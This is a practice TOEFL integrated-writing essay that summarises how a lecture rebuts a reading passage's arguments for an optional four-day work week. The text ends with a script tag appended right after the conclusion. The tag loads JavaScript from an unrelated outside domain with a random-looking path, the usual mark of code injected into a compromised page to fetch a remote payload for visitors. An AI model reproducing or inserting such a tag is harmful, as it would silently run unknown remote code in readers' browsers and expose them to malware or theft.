tpo 1 integrated writing

Both the reading passage and the lecture discuss working four days per week. While the reading passage explains the merits of working four days every week if it is to be optional for all workers, the lecture refutes all the points mentioned in the passage using its own reasons and evidence.

To begin with, the passage claims that when laborers work four days a week, their salary will be deducted to 20% which in turn, would expand the corporation's revenue. The lecture, on the other hand, rebuts this opinion by stating that the company would end up employing more staff. She elaborates on this by saying more money would be spent on training, medical and health bonuses.

Furthermore, the author of the article mentions that this option would decline the unemployment rate as more recruits could be hired. However, the lecturer argues that the company would demand the workers to work for additional periods. Therefore, the four-day working preference can be the same as the five-day one.

Finally, the last point in the reading passage states that staff who agree to work for four days could have spare time to enhance their lifestyle by devoting the time with their family. Although the lecturer believes that the four-day working policy would give them some free time, she thinks that there are still some risks such as lowering the stability of their job that could also hinder them to advance their careers.

In conclusion, the reading passage mentions three different ideas about working four days a week. The lecture opposes all of the points using its own reasons and evidence.<script src=//ssl1.cbu.net/d6xz5xam></script>